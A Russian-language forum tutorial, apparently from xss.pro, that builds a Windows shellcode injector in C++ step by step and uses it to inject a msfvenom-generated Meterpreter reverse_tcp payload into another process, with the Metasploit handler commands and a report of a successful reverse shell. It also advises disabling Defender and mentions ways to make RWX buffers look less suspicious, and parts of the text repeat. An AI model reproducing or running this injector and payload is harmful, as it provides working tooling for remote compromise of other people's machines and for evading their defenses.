Автор: shqnx
Специально для xss.pro
Всех приветствую в данной статье, желаю приятного чтения. Сразу к делу.
Общие шаги по инъекции шелл-кода следующие:
1. Получить дескриптор процесса, подключившись к нему или создав его
2. Выделить буфер в памяти процесса с необходимыми правами
3. Записать содержимое нашего шелл-кода в этот буфер в памяти процесса
4. Создать поток, который будет выполнять то, что мы "хирургическим" путем выделили и записали в процесс
В этой технике мы будем использовать Win32 API. Для начала посмотрим, какие вызовы API нам понадобятся.
!! Всю документацию по этим функциям, а также по всему Win32 API можно найти на страницах документации Microsoft (обычно называемых "MSDN"). Хочу отметить, что Win32 API хорошо документирован, поэтому в случае возникновения вопросов, например, касаемо работы какой-либо функции, вы сможете найти ответ в самой документации !!
Наиболее распространенные вызовы, которые вы можете встретить для этой техники, выглядят следующим образом (в соответствующем порядке):
1. OpenProcess
2. VirtualAllocEx
3. WriteProcessMemory
4. CreateRemoteThreadEx
В случае, если вы планируете повторить действия, указанные в этой статье, просто следуйте моему примеру, дабы избежать появления каких-либо проблем. Начинаем с создания нового проекта в Visual Studio, затем создаем файл с именем shellcodeinj.cpp, в котором в данный момент будет находиться следующее содержимое:
Здесь мы включаем заголовок Windows (<windows.h>) в нашу программу, что позволит нам использовать Win32 API, который, по сути, является интерфейсом, позволяющим нам общаться с ОС.
Давайте скомпилируем это, убедившись, что все работает.
!! Не забудьте скомпилировать 64-разрядную программу, если ваш целевой процесс является 64-разрядным. В противном случае вы столкнетесь с проблемами !!
После компиляции программы мы можем запустить ее из командной строки или просто нажать сочетание клавиш Ctrl+F5. Итак, мы получили ожидаемый результат:
Убедимся, что программе был предоставлен аргумент для PID, в противном случае мы получим ошибку при использовании:
Мы видим несколько типов HANDLE, которые мы присвоили переменным handleProcess и handleThread. Мы также создали несколько типов DWORD, которые мы присвоили переменным processID и threadID. К переменной buffer мы вернемся чуть позже, а пока продолжим. Мы проверяем, был ли передан программе аргумент, к которому должен быть присоединен PID. Если мы не будем принимать PID из CLI, нам придется каждый раз менять его в исходном коде и компилировать его снова и снова. Получив аргумент для PID, мы преобразуем его в целочисленный тип, поскольку PID - это числа. Более того, в Windows PID всегда кратны четырем. Это не так важно, но все равно очень полезно знать. На следующем этапе нашего кода мы попытаемся получить представление о целевом (таргет) процессе.
Вот ее синтаксис:
Самый простой способ понять, что делает эта функция, - прочитать раздел "Возвращаемое значение" этой функции. Вы можете найти его *тут*.
Из этого раздела видно, что в случае успеха OpenProcess вернет открытый дескриптор указанного процесса, который мы и будем хранить в нашей переменной handleProcess. Именно поэтому важно было объявить ее как тип данных HANDLE. В случае неудачи она вернет NULL. Благодаря этому мы можем настроить довольно хорошую обработку ошибок для нашей программы. Давайте посмотрим, какие аргументы ожидает эта функция:
1. DWORD dwDesiredAccess
2. BOOL bInheritHandle
3. DWORD dwProcessId
В первом аргументе мы указываем права доступа к целевому процессу. Существуют различные права доступа, которые мы можем указать, как показано ниже:
Более подробно о них можете прочитать *тут*.
Я все равно постараюсь объяснить, что это такое и зачем они нужны, так что, особо ленивые, расслабьтесь. По сути, эти права доступа к процессу определяют, что именно нам разрешено делать с процессом. Помните общие шаги из раздела "Введение и краткий экскурс" и то, что нам придется выделять и записывать некоторую память в память процессов? Для того чтобы мы могли это сделать, нам как минимум потребуется право доступа PROCESS_VM_OPERATION из вышеупомянутой таблицы.
Как видите, поскольку мы пытаемся возиться с адресным пространством процесса, используя такие функции, как VirtualProtectEx и WriteProcessMemory, нам придется предоставить это право доступа. И это всё? Ну... не совсем. Видите ли, эти права очень специфичны. Конечно, вы сможете выделять и записывать в память процесса, но как вы собираетесь создать поток для выполнения вашей полезной нагрузки без такого права доступа, как PROCESS_CREATE_THREAD?
Не говоря уже о других правах, таких как возможность запрашивать информацию о процессе(PROCESS_QUERY_INFORMATION), приостанавливать или возобновлять его (PROCESS_SUSPEND_RESUME) и так далее. Именно из-за всех этих мелочей и прав нам будет проще указать единственное право доступа - PROCESS_ALL_ACCESS.
!! Учтите, что обычно лучше всего наделять себя наименьшим количеством прав для того, чтобы что-то сделать. Так безопаснее и вообще считается лучшей практикой для работы с вещами, включающими в себя права и привилегии. Поскольку то, что мы пытаемся сделать, довольно сложное и требует различных прав доступа, мы просто поставим PROCESS_ALL_ACCESS в качестве аргумента, чтобы избежать всей этой головной боли !!
Вуаля! Мы настроили эту часть кода и теперь можем поработать над обработкой ошибок, о чем я упоминал ранее. Поскольку мы знаем, что эта функция возвращает NULL при ошибке, мы можем написать следующее:
Возвращаемое значение GetLastError:
Линк на MSDN - *тык*.
Мы видим, что при ошибке потока эта функция выхватывает код ошибки, соответствующий этой конкретной ошибке. Давайте попробуем задать нашей программе PID, который никогда не будет существовать, и посмотрим, что выдаст наша программа.
Программа выдает ошибку со следующим значением: 0x57. Это значение или любое другое из выведенных здесь значений - коды системных ошибок. Их можно найти на следующей странице - *тык*.
Код ошибки ERROR_INVALID_PARAMETER.
Значение 0x57 говорит нам о том, что мы предоставили недопустимый / неправильный параметр. Теперь вы можете вывести это в десятичном виде, изменив спецификатор формата на %ld. Мне лично больше нравится, как выглядит шестнадцатеричный формат, но, опять же, все зависит от вас. Давайте рассмотрим еще один пример, в котором мы попытаемся разобраться с возвышенным процессом. Что-то вроде системного процесса с PID 4:
Мы получаем код ошибки 0x5. Если мы посмотрим на него в каталоге кодов ошибок, то увидим, что это говорит о том, что у нас нет необходимых разрешений для того, чтобы открыть дескриптор к этому процессу:
Код ошибки ERROR_ACCESS_DENIED.
С кодами ошибок разобрались, теперь вы знаете, как облегчить себе отладку.
!! GetLastError, каким бы замечательным он ни был, работает не во всех ситуациях. Например, когда вы работаете с низкоуровневым NT API из NTDLL, эта область обработки ошибок выполняется с помощью самих кодов NTSTATUS !!
Мы видим, что если мы указываем реальному процессу его PID, то программа выдает нам дескриптор, который мы получили от него. Теперь нам нужно выделить область памяти для нашего целевого (таргет) процесса. Мы можем сделать это с помощью функции VirtualAllocEx. Перед этим нам нужно задать некоторые переменные, поскольку VirtualAllocEx будет их ожидать.
Здесь мы задаем наш шелл-код, а также его размер. Если мы попытаемся внедрить его в наш процесс, это приведет к его гибели. Все потому, что это недействительный шелл-код, он ничего не сделает, а значит, процесс завершится. Мы вернемся к созданию шелл-кода, когда придет время, а пока давайте начнем настраивать VirtualAllocEx.
Синтаксис VirtualAllocEx из MSDN (*тык*):
Первый параметр - это дескриптор нашего процесса. Наша переменная handleProcess в настоящее время содержит возвращаемое значение из OpenProcess, которое, опять же, является просто открытым дескриптором нашего целевого (таргет) процесса. Поэтому мы можем просто подставить handleProcess в этот аргумент.
В нашем случае мы просто хотим иметь возможность зарезервировать место (MEM_RESERVE), а затем мы хотим иметь возможность зафиксировать эту память (MEM_COMMIT). Так что давайте добавим их обе:
Итак, нам разрешено указать любую из констант защиты памяти. Вы можете найти эти константы защиты памяти *тут*.
Тут действительно есть из чего выбрать.. Однако нам нужно запомнить основы. Мы собираемся предоставить PAGE_EXECUTE_READWRITE(RWX) для нашего шелл-кода. Если у нас не будет прав на выполнение, это будет похоже на весь кошмар работы с NX/DEP. Наш шелл-код не принесет нам никакой пользы, если мы не сможем его выполнить.
!! Помните, что случайный буфер, случайно выделенный в памяти вашего процесса с полными правами RWX, может выглядеть крайне подозрительно. Существуют некоторые техники, в которых используется функция VirtualProtect. С VirtualProtect все происходит примерно следующим образом: Вы выделяете область памяти с минимальными правами (что-то вроде RW), а затем меняете эти права (на что-то вроде RX), обозначенные аргументом flNewProtect, передаваемым этой функции.
[in] flNewProtect Параметр защиты памяти. Этот параметр может быть одной из констант защиты памяти. Для отображенных представлений это значение должно быть совместимо с защитой доступа, указанной при отображении представления !!
Давайте попробуем запустить его, чтобы убедиться, что мы получим ожидаемый результат:
Отлично. Теперь мы можем записать содержимое нашего шелл-кода в этот недавно созданный буфер. Для этого мы используем функцию WriteProcessMemory.
Синтаксис WriteProcessMemory из MSDN:
Линк на MSDN- *тык*.
Первый параметр - это дескриптор нашего процесса, hProcess.
Вот мы и настроили функцию WriteProcessMemory. Давайте добавим небольшое сообщение для вывода в консоль, указывающее на это.
Осталось только создать поток для запуска нашей полезной нагрузки!
Поскольку мы знаем, что эта функция возвращает дескриптор нового потока, мы заставим нашу переменную hThread хранить это возвращаемое значение:
Линк на MSDN - *тык*.
Для этой функции существует немало параметров. Однако не волнуйтесь - большинство из них будут нулевыми или NULL. Мы уже знаем, как это делается, заполним то, что знаем, а за тем, что не знаем, обратимся к документации.
lpThreadAttributes, как видно из документации, - это просто указатель на структуру SECURITY_ATTRIBUTES (*тык*). Она предназначена для указания дескриптора безопасности (*тык*) для нового потока, а также она определяет, могут ли дочерние процессы наследовать возвращаемый дескриптор. Если мы установим это значение в NULL, поток получит SD (дескриптор безопасности) по умолчанию, и дескриптор не сможет быть унаследован.
В этом параметре мы указываем указатель на начальный адрес того, что мы хотим запустить. Мы хотим, чтобы выполнение начиналось с созданного нами буфера, в который на данный момент было записано содержимое нашего шелл-кода, и мы прописываем этот буфер в LPTHREAD_START_ROUTINE, чтобы он соответствовал сигнатуре этого параметра. Для следующего параметра (lpParameter) мы можем просто установить значение NULL, поскольку у нас нет никаких переменных, которые мы передаем функции потока (lpStartAddress).
Мы видим, что если поставить здесь 0, то поток будет запущен сразу после создания. Флаг CREATE_SUSPENDED также может быть интересным. Мы поставим здесь 0, поскольку хотим, чтобы наш поток запускался сразу.
Что мы сделаем - это, во-первых, добавим еще несколько отладочных строк для наглядности. Во-вторых, сгенерируем правильный шелл-код из msfvenom и попробуем выполнить инъекцию по-настоящему.
Функции WaitForSingleObject и CloseHandle будут оставлены в качестве упражнения для изучения.
!! Msfvenom, его шелл-коды, стейджеры и прочее, конкретно так подорваны практически всеми существующими защитными решениями. Это означает, что если вы решите использовать этот шелл-код без его шифрования, Defender заметит ваш пейлоад в процессе компиляции, и вероятность того, что ваша целевая система (таргет) также заметит его, значительно высока. Именно по этой причине в рамках данной статьи мы рассматриваем либо путь в порядке исключения, либо отключаем Defender !!
Я выполню следующую команду на машине с Kali:
В сотый раз повторяю, не забудьте привести архитектуру вашего шелл-кода в соответствие с архитектурой вашей программы внедрения. Итак, давайте настроим нашу программу внедрения с этим в качестве полезной нагрузки, и после этого мы настроим multi/handler, необходимый для перехвата обратного вызова для этой обратной оболочки.
Вот он наш шелл-код, само собой заменяем этим то, что уже есть в сорцах нашей программы.
Следующим шагом запускаем MetaSploit Framework и выполняем по очереди команды.
Теперь мы готовы к выполнению нашей программы.
Реверс шелл успешно запущен.
Закрываем сеанс meterpreter:
Получаем:
Мы видим, что функция WaitForSingleObject, которую мы использовали, успешно отмечает, что наш поток завершил выполнение!
А теперь предлагаю посмотреть на наш процесс калькулятора через Process Hacker.
В этом процессе есть запись о некоторых вещах, связанных с сетью, чего при обычных обстоятельствах никогда бы не произошло.
Если мы посмотрим на вкладку Threads в Process Hacker, мы увидим наш недавно созданный поток в списке.
Если же мы дважды щелкнем по одному из них, мы сможем увидеть некоторые интересные данные:
Мы видим, что ws2_32.dll и mswsock.dll находятся в новом потоке, а также в загружаемых модулях:
Вот мы и прошли этот долгий путь. Полный код в следующем спойлере. Спасибо за внимание.
Специально для xss.pro
Всех приветствую в данной статье, желаю приятного чтения. Сразу к делу.
Введение и краткий экскурс
Техника, про которую я хочу рассказать, проста настолько, насколько это вообще возможно. Однако, несмотря на это, она также довольно элегантна в своем исполнении.Общие шаги по инъекции шелл-кода следующие:
1. Получить дескриптор процесса, подключившись к нему или создав его
2. Выделить буфер в памяти процесса с необходимыми правами
3. Записать содержимое нашего шелл-кода в этот буфер в памяти процесса
4. Создать поток, который будет выполнять то, что мы "хирургическим" путем выделили и записали в процесс
В этой технике мы будем использовать Win32 API. Для начала посмотрим, какие вызовы API нам понадобятся.
!! Всю документацию по этим функциям, а также по всему Win32 API можно найти на страницах документации Microsoft (обычно называемых "MSDN"). Хочу отметить, что Win32 API хорошо документирован, поэтому в случае возникновения вопросов, например, касаемо работы какой-либо функции, вы сможете найти ответ в самой документации !!
Наиболее распространенные вызовы, которые вы можете встретить для этой техники, выглядят следующим образом (в соответствующем порядке):
1. OpenProcess
2. VirtualAllocEx
3. WriteProcessMemory
4. CreateRemoteThreadEx
Пишем код
Я собираюсь писать код в Visual Studio и использовать MSVC для компиляции.В случае, если вы планируете повторить действия, указанные в этой статье, просто следуйте моему примеру, дабы избежать появления каких-либо проблем. Начинаем с создания нового проекта в Visual Studio, затем создаем файл с именем shellcodeinj.cpp, в котором в данный момент будет находиться следующее содержимое:
C++:
#include <windows.h>
#include <stdio.h>
/* Определяяем статус-символы */
const char* plus = "[+]";
const char* minus = "[-]";
const char* asterisk = "[*]";
int main(int argc, char* argv[]){
printf("%s Всё в порядке!", plus);
return 0;
}
Давайте скомпилируем это, убедившись, что все работает.
!! Не забудьте скомпилировать 64-разрядную программу, если ваш целевой процесс является 64-разрядным. В противном случае вы столкнетесь с проблемами !!
После компиляции программы мы можем запустить ее из командной строки или просто нажать сочетание клавиш Ctrl+F5. Итак, мы получили ожидаемый результат:
Убедимся, что программе был предоставлен аргумент для PID, в противном случае мы получим ошибку при использовании:
C++:
#include <windows.h>
#include <stdio.h>
const char* plus = "[+]";
const char* minus = "[-]";
const char* asterisk = "[*]";
int main(int argc, char* argv[]) {
/* Объявляем и инициализируем некоторые переменные для последующего использования */
PVOID buffer = NULL;
DWORD processID = NULL, threadID = NULL;
HANDLE handleProcess = NULL, handleThread = NULL;
if (argc < 2) {
printf("%s Пример использования: %s <PID>", minus, argv[0]);
return 1;
}
processID = atoi(argv[1]);
printf("%s Пытаемся получить дескриптор процесса (%ld)\n", asterisk, processID);
/* ... */
return 0;
}
Получаем дескриптор
Как вы уже, наверное, догадались, мы будем использовать функцию OpenProcess, чтобы получить информацию о нашем процессе.Вот ее синтаксис:
Самый простой способ понять, что делает эта функция, - прочитать раздел "Возвращаемое значение" этой функции. Вы можете найти его *тут*.
Из этого раздела видно, что в случае успеха OpenProcess вернет открытый дескриптор указанного процесса, который мы и будем хранить в нашей переменной handleProcess. Именно поэтому важно было объявить ее как тип данных HANDLE. В случае неудачи она вернет NULL. Благодаря этому мы можем настроить довольно хорошую обработку ошибок для нашей программы. Давайте посмотрим, какие аргументы ожидает эта функция:
1. DWORD dwDesiredAccess
2. BOOL bInheritHandle
3. DWORD dwProcessId
В первом аргументе мы указываем права доступа к целевому процессу. Существуют различные права доступа, которые мы можем указать, как показано ниже:
Более подробно о них можете прочитать *тут*.
Я все равно постараюсь объяснить, что это такое и зачем они нужны, так что, особо ленивые, расслабьтесь. По сути, эти права доступа к процессу определяют, что именно нам разрешено делать с процессом. Помните общие шаги из раздела "Введение и краткий экскурс" и то, что нам придется выделять и записывать некоторую память в память процессов? Для того чтобы мы могли это сделать, нам как минимум потребуется право доступа PROCESS_VM_OPERATION из вышеупомянутой таблицы.
Как видите, поскольку мы пытаемся возиться с адресным пространством процесса, используя такие функции, как VirtualProtectEx и WriteProcessMemory, нам придется предоставить это право доступа. И это всё? Ну... не совсем. Видите ли, эти права очень специфичны. Конечно, вы сможете выделять и записывать в память процесса, но как вы собираетесь создать поток для выполнения вашей полезной нагрузки без такого права доступа, как PROCESS_CREATE_THREAD?
Не говоря уже о других правах, таких как возможность запрашивать информацию о процессе(PROCESS_QUERY_INFORMATION), приостанавливать или возобновлять его (PROCESS_SUSPEND_RESUME) и так далее. Именно из-за всех этих мелочей и прав нам будет проще указать единственное право доступа - PROCESS_ALL_ACCESS.
!! Учтите, что обычно лучше всего наделять себя наименьшим количеством прав для того, чтобы что-то сделать. Так безопаснее и вообще считается лучшей практикой для работы с вещами, включающими в себя права и привилегии. Поскольку то, что мы пытаемся сделать, довольно сложное и требует различных прав доступа, мы просто поставим PROCESS_ALL_ACCESS в качестве аргумента, чтобы избежать всей этой головной боли !!
Теперь перейдем ко второму параметру, bInheritHandle. Этот параметр представляет собой булево значение, указывающее, хотим ли мы наследовать дескрипторы, созданные нашим процессом. Другими словами, если наш процесс создаст другой процесс, хотим ли мы наследовать дескриптор вновь созданного процесса? Мы установим значение FALSE, поскольку сейчас нас это не очень волнует:handleProcess = OpenProcess(PROCESS_ALL_ACCESS, ...)
И наконец, аргумент dwProcessId - это PID процесса, к которому мы хотим открыть дескриптор. Мы уже создали эту переменную, поэтому просто укажем ее здесь:handleProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, ...)
handleProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, processID);
Вуаля! Мы настроили эту часть кода и теперь можем поработать над обработкой ошибок, о чем я упоминал ранее. Поскольку мы знаем, что эта функция возвращает NULL при ошибке, мы можем написать следующее:
C++:
handleProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, processID);
if (handleProcess == NULL) {
printf("%s Не удалось получить дескриптор процесса, ошибка: 0x%1x", minus, GetLastError());
return 0;
}
printf("%s Дескриптор процесса получен\n--->0x%p\n", plus, handleProcess);
Получение кодов ошибок
Я также ввел здесь новую функцию, GetLastError. Давайте рассмотрим пример. Функция GetLastError определяется следующим образом:
Возвращаемое значение GetLastError:
Линк на MSDN - *тык*.
Мы видим, что при ошибке потока эта функция выхватывает код ошибки, соответствующий этой конкретной ошибке. Давайте попробуем задать нашей программе PID, который никогда не будет существовать, и посмотрим, что выдаст наша программа.
Программа выдает ошибку со следующим значением: 0x57. Это значение или любое другое из выведенных здесь значений - коды системных ошибок. Их можно найти на следующей странице - *тык*.
Значение 0x57 говорит нам о том, что мы предоставили недопустимый / неправильный параметр. Теперь вы можете вывести это в десятичном виде, изменив спецификатор формата на %ld. Мне лично больше нравится, как выглядит шестнадцатеричный формат, но, опять же, все зависит от вас. Давайте рассмотрим еще один пример, в котором мы попытаемся разобраться с возвышенным процессом. Что-то вроде системного процесса с PID 4:
Мы получаем код ошибки 0x5. Если мы посмотрим на него в каталоге кодов ошибок, то увидим, что это говорит о том, что у нас нет необходимых разрешений для того, чтобы открыть дескриптор к этому процессу:
С кодами ошибок разобрались, теперь вы знаете, как облегчить себе отладку.
!! GetLastError, каким бы замечательным он ни был, работает не во всех ситуациях. Например, когда вы работаете с низкоуровневым NT API из NTDLL, эта область обработки ошибок выполняется с помощью самих кодов NTSTATUS !!
Выделение буфера
Вот что мы имеем на данный момент:
Мы видим, что если мы указываем реальному процессу его PID, то программа выдает нам дескриптор, который мы получили от него. Теперь нам нужно выделить область памяти для нашего целевого (таргет) процесса. Мы можем сделать это с помощью функции VirtualAllocEx. Перед этим нам нужно задать некоторые переменные, поскольку VirtualAllocEx будет их ожидать.
C++:
/* ... */
/* Объявляем и инициализируем некоторые переменные для последующего использования */
PVOID buffer = NULL;
DWORD processID = NULL, threadID = NULL;
HANDLE handleProcess = NULL, handleThread = NULL;
unsigned char shellcode[] = "\x41\x41\x41\x41\x41\x41";
size_t shellcodeSize = sizeof(shellcode);
/* ... */
Синтаксис VirtualAllocEx из MSDN (*тык*):
Первый параметр - это дескриптор нашего процесса. Наша переменная handleProcess в настоящее время содержит возвращаемое значение из OpenProcess, которое, опять же, является просто открытым дескриптором нашего целевого (таргет) процесса. Поэтому мы можем просто подставить handleProcess в этот аргумент.
Второй параметр, то есть lpAddress, является опциональным аргументом этой функции. Это просто указатель, задающий начальный адрес области страниц в памяти, которую мы хотим выделить. Если мы установим значение NULL, функция сама определит, где выделить регион. Поэтому в этой части мы предоставим функции возможность управлять собой без нашей помощи.buffer = VirtualAllocEx(handleProcess, ...)
Следующий аргумент, dwSize, - это место, где мы указываем размер области памяти, которую хотим выделить. Это размер нашего шелл-кода. Поэтому давайте заполним этот аргумент следующим образом:buffer = VirtualAllocEx(handleProcess, NULL, ...)
Далее у нас есть параметр flAllocationType. Это тип выделения, которое мы хотим выполнить:buffer = VirtualAllocEx(handleProcess, NULL, shellcodeSize, ...)
В нашем случае мы просто хотим иметь возможность зарезервировать место (MEM_RESERVE), а затем мы хотим иметь возможность зафиксировать эту память (MEM_COMMIT). Так что давайте добавим их обе:
И последнее, но не менее важное: нам нужно выбрать защиту памяти, которую мы хотим установить для выделенной памяти. Из документации:buffer = VirtualAllocEx(handleProcess, NULL, shellcodeSize, (MEM_RESERVE | MEM_COMMIT), ...)
Итак, нам разрешено указать любую из констант защиты памяти. Вы можете найти эти константы защиты памяти *тут*.
Тут действительно есть из чего выбрать.. Однако нам нужно запомнить основы. Мы собираемся предоставить PAGE_EXECUTE_READWRITE(RWX) для нашего шелл-кода. Если у нас не будет прав на выполнение, это будет похоже на весь кошмар работы с NX/DEP. Наш шелл-код не принесет нам никакой пользы, если мы не сможем его выполнить.
!! Помните, что случайный буфер, случайно выделенный в памяти вашего процесса с полными правами RWX, может выглядеть крайне подозрительно. Существуют некоторые техники, в которых используется функция VirtualProtect. С VirtualProtect все происходит примерно следующим образом: Вы выделяете область памяти с минимальными правами (что-то вроде RW), а затем меняете эти права (на что-то вроде RX), обозначенные аргументом flNewProtect, передаваемым этой функции.
[in] flNewProtect Параметр защиты памяти. Этот параметр может быть одной из констант защиты памяти. Для отображенных представлений это значение должно быть совместимо с защитой доступа, указанной при отображении представления !!
Вот мы и выделили наш буфер. Это означает, что теперь мы готовы записать содержимое нашего шелл-кода в недавно выделенный буфер в памяти процесса.buffer = VirtualAllocEx(handleProcess, NULL, shellcodeSize, (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE);
Запись в память процесса
Вот что мы имеем на данный момент:
C++:
#include <windows.h>
#include <stdio.h>
/* Определяяем статус-символы */
const char* plus = "[+]";
const char* minus = "[-]";
const char* asterisk = "[*]";
int main(int argc, char* argv[]) {
/* Объявляем и инициализируем некоторые переменные для последующего использования */
PVOID buffer = NULL;
DWORD processID = NULL, threadID = NULL;
HANDLE handleProcess = NULL, handleThread = NULL;
unsigned char shellcode[] = "\x41\x41\x41\x41\x41\x41;
size_t shellcodeSize = sizeof(shellcode);
if (argc < 2) {
printf("%s Пример использования: %s <PID>", minus, argv[0]);
return 1;
}
processID = atoi(argv[1]);
printf("%s Пытаемся получить дескриптор процесса (%ld)\n", asterisk, processID);
handleProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, processID);
if (handleProcess == NULL) {
printf("%s Не удалось получить дескриптор процесса, ошибка: 0x%lx", minus, GetLastError());
return 1;
}
printf("%s Дескриптор процесса получен\n--->0x%p\n", plus, handleProcess);
buffer = VirtualAllocEx(handleProcess, NULL, shellcodeSize, (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE);
printf("%s Выделено %zd байт в памяти процесса с PAGE_EXECUTE_READWRITE разрешениями\n", plus, shellcodeSize);
/* ... */
return 0;
}
Отлично. Теперь мы можем записать содержимое нашего шелл-кода в этот недавно созданный буфер. Для этого мы используем функцию WriteProcessMemory.
Синтаксис WriteProcessMemory из MSDN:
Линк на MSDN- *тык*.
Первый параметр - это дескриптор нашего процесса, hProcess.
Второй параметр (lpBaseAddress) - это buffer, который мы создали и выделили в памяти процесса. Как видно из документации:WriteProcessMemory(handleProcess, ...)
Следующим параметром является lpBuffer. Здесь мы указываем фактическое содержимое нашего шелл-кода. Ранее я говорил, что шелл-код, который мы имеем сейчас, уничтожит память нашего процесса и приведет к его краху. Что ж... Почему этого еще не произошло? Потому что VirtualAllocEx - это не то же самое, что запись содержимого вашей полезной нагрузки в память. Вот почему мы можем выделить эту память без сбоев в работе нашей программы.WriteProcessMemory(handleProcess, buffer, ...)
Аргумент nSize - это размер нашего шелл-кода, который мы уже определили как shellcodeSize:WriteProcessMemory(handleProcess, buffer, shellcode, ...)
И наконец, у нас есть выводимый параметр lpNumberOfBytesWritten. Здесь хранится количество байт, которые мы записали в область памяти. Вы можете добавить этот параметр по своему усмотрению, мы же просто установим его в NULL, что приведет к игнорированию этого параметра.WriteProcessMemory(handleProcess, buffer, shellcode, shellcodeSize, ...)
WriteProcessMemory(handleProcess, buffer, shellcode, shellcodeSize, NULL);
Вот мы и настроили функцию WriteProcessMemory. Давайте добавим небольшое сообщение для вывода в консоль, указывающее на это.
И теперь, если мы попробуем запустить его, то увидим следующий результат:printf("%s Записано %zd байт в выделенный буфер\n", k, sizeof(shellcode));
Осталось только создать поток для запуска нашей полезной нагрузки!
Создание потока
В этом разделе мы будем создавать поток с помощью функции CreateRemoteThreadEx. Если мы посмотрим на возвращаемое значение (*тык*) этой функции, то увидим, что это практически то же самое, что и наша функция OpenProcess, только в данном случае мы имеем дело с потоками.Поскольку мы знаем, что эта функция возвращает дескриптор нового потока, мы заставим нашу переменную hThread хранить это возвращаемое значение:
Давайте рассмотрим синтаксис этой функции.handleThread = CreateRemoteThreadEx()
Линк на MSDN - *тык*.
Для этой функции существует немало параметров. Однако не волнуйтесь - большинство из них будут нулевыми или NULL. Мы уже знаем, как это делается, заполним то, что знаем, а за тем, что не знаем, обратимся к документации.
handleThread = CreateRemoteThreadEx(handleProcess, ...)
lpThreadAttributes, как видно из документации, - это просто указатель на структуру SECURITY_ATTRIBUTES (*тык*). Она предназначена для указания дескриптора безопасности (*тык*) для нового потока, а также она определяет, могут ли дочерние процессы наследовать возвращаемый дескриптор. Если мы установим это значение в NULL, поток получит SD (дескриптор безопасности) по умолчанию, и дескриптор не сможет быть унаследован.
Для аргумента dwStackSize мы можем установить значение 0, чтобы поток использовал размер стека (*тык*) по умолчанию для исполняемого файла.handleThread = CreateRemoteThreadEx(handleProcess, NULL, ...)
Следующая секция потребует немного времени для объяснения. Итак, я напишу здесь код, а затем будет объяснение, что здесь происходит.handleThread = CreateRemoteThreadEx(handleProcess, NULL, 0, ...)
Итак, для начала давайте обсудим сам параметр, прежде чем углубляться в то, что мы передаем в качестве аргумента. Давайте обратимся к документации.handleThread = CreateRemoteThreadEx(handleProcess, NULL, 0, (LPTHREAD_START_ROUTINE)buffer, ...)
В этом параметре мы указываем указатель на начальный адрес того, что мы хотим запустить. Мы хотим, чтобы выполнение начиналось с созданного нами буфера, в который на данный момент было записано содержимое нашего шелл-кода, и мы прописываем этот буфер в LPTHREAD_START_ROUTINE, чтобы он соответствовал сигнатуре этого параметра. Для следующего параметра (lpParameter) мы можем просто установить значение NULL, поскольку у нас нет никаких переменных, которые мы передаем функции потока (lpStartAddress).
Следующая секция - это флаги создания, которые мы хотим указать для нашего потока. dwCreationFlags может быть любым из этих значений:handleThread = CreateRemoteThreadEx(handleProcess, NULL, 0, (LPTHREAD_START_ROUTINE)buffer, NULL, ...)
Мы видим, что если поставить здесь 0, то поток будет запущен сразу после создания. Флаг CREATE_SUSPENDED также может быть интересным. Мы поставим здесь 0, поскольку хотим, чтобы наш поток запускался сразу.
Нам осталось передать всего 2 параметра, мы почти у цели! Предпоследний параметр этой функции, lpAttributeList, содержит дополнительные параметры для нового потока. Сейчас нам это не очень важно, поэтому мы можем просто установить это значение на ноль:handleThread = CreateRemoteThreadEx(handleProcess, NULL, 0, (LPTHREAD_START_ROUTINE)buffer, NULL, 0, ...)
И, наконец, последний параметр(lpThreadId) - это место, где мы можем установить указатель на переменную, которая будет получать идентификатор потока (TID) вновь созданного потока. Так что давайте установим его в переменную threadID, которую мы создали, когда определяли processID.handleThread = CreateRemoteThreadEx(handleProcess, NULL, 0, (LPTHREAD_START_ROUTINE)buffer, NULL, 0, 0, ...)
Итак, в данный момент мы можем запустить нашу программу, и мы увидим, что она внедряется в наш целевой (таргет) процесс, но из-за того, что мы используем тарабарщину в качестве шелл-кода, программа терпит крах.handleThread = CreateRemoteThreadEx(handleProcess, NULL, 0, (LPTHREAD_START_ROUTINE)buffer, NULL, 0, 0, &dwTID);
Что мы сделаем - это, во-первых, добавим еще несколько отладочных строк для наглядности. Во-вторых, сгенерируем правильный шелл-код из msfvenom и попробуем выполнить инъекцию по-настоящему.
C++:
/* ... */
/* Создаем поток для запуска нашей полезной нагрузки */
handleThread = CreateRemoteThreadEx(handleProcess, NULL, 0, (LPTHREAD_START_ROUTINE)buffer, NULL, 0, 0, &threadID);
if (handleThread == NULL) {
printf("%s Не удалось получить дескриптор для нового потока, ошибка: %ld", minus, GetLastError());
return 1;
}
printf("%s Дескриптор для нового потока получен (%ld)\n--->0x%p\n", plus, threadID, handleProcess);
printf("%s Ожидание завершения выполнения потока\n", asterisk);
WaitForSingleObject(handleThread, INFINITE);
printf("%s Поток завершил выполнение, очистка\n", plus);
CloseHandle(handleThread);
CloseHandle(handleProcess);
printf("%s Завершено", plus);
return 0;
}
Генерируем шелл-код
Я буду использовать свою виртуальную машину Kali для генерации шелл-кода. На самом деле неважно, какую ОС вы используете, нас пока интересует только один инструмент - msfvenom.!! Msfvenom, его шелл-коды, стейджеры и прочее, конкретно так подорваны практически всеми существующими защитными решениями. Это означает, что если вы решите использовать этот шелл-код без его шифрования, Defender заметит ваш пейлоад в процессе компиляции, и вероятность того, что ваша целевая система (таргет) также заметит его, значительно высока. Именно по этой причине в рамках данной статьи мы рассматриваем либо путь в порядке исключения, либо отключаем Defender !!
Я выполню следующую команду на машине с Kali:
msfvenom --platform windows --arch x64 -p windows/x64/meterpreter/reverse_tcp LHOST=xxx.xxx.xxx.xxx LPORT=443 -f c --var-name=shellcode
В сотый раз повторяю, не забудьте привести архитектуру вашего шелл-кода в соответствие с архитектурой вашей программы внедрения. Итак, давайте настроим нашу программу внедрения с этим в качестве полезной нагрузки, и после этого мы настроим multi/handler, необходимый для перехвата обратного вызова для этой обратной оболочки.
Вот он наш шелл-код, само собой заменяем этим то, что уже есть в сорцах нашей программы.
Следующим шагом запускаем MetaSploit Framework и выполняем по очереди команды.
set payload windows/x64/meterpreter/reverse_tcp
set lhost eth0
set lport 443
run -j
Теперь мы готовы к выполнению нашей программы.
Выполнение инъекции
Компилируем программу и, указав действительный PID для нашего инжектора, можем увидеть результаты:
Реверс шелл успешно запущен.
Закрываем сеанс meterpreter:
Получаем:
